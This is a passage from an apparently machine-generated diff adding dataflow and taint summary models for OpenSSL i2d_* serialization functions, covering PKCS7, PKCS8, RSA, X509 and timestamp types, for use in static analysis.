"dfc-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_SIGN_ENVELOPE", "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_bio", "(BIO *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_bio_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_bio_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS7_bio_stream", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS7_fp", "(FILE *,const PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_bio", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_bio", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_fp", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_fp", "(FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_bio", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_bio", "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_fp", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8PrivateKey_nid_fp", "(FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKCS8_PRIV_KEY_INFO", "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PKEY_USAGE_PERIOD", "(const PKEY_USAGE_PERIOD *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYINFO", "(const POLICYINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_POLICYQUALINFO", "(const POLICYQUALINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PROFESSION_INFO", "(const PROFESSION_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_CERT_INFO_EXTENSION", "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_PROXY_POLICY", "(const PROXY_POLICY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1].Field[**data].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PUBKEY", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PrivateKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PublicKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PublicKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_PublicKey", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey", "(const RSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey_bio", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPrivateKey_fp", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey", "(const RSA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey_bio", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSAPublicKey_fp", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_OAEP_PARAMS", "(const RSA_OAEP_PARAMS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PSS_PARAMS", "(const RSA_PSS_PARAMS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_RSA_PUBKEY", "(const RSA *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSA_PUBKEY", "(const RSA *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSA_PUBKEY", "(const RSA *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_RSA_PUBKEY_fp", "(FILE *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SCRYPT_PARAMS", "(const SCRYPT_PARAMS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SSL_SESSION", "(const SSL_SESSION *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SSL_SESSION", "(const SSL_SESSION *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SSL_SESSION", "(const SSL_SESSION *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT_bio", "(BIO *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT_fp", "(FILE *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[**1]", "Argument[*0].Field[*aux].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_bio", "(BIO *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_fp", "(FILE *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char 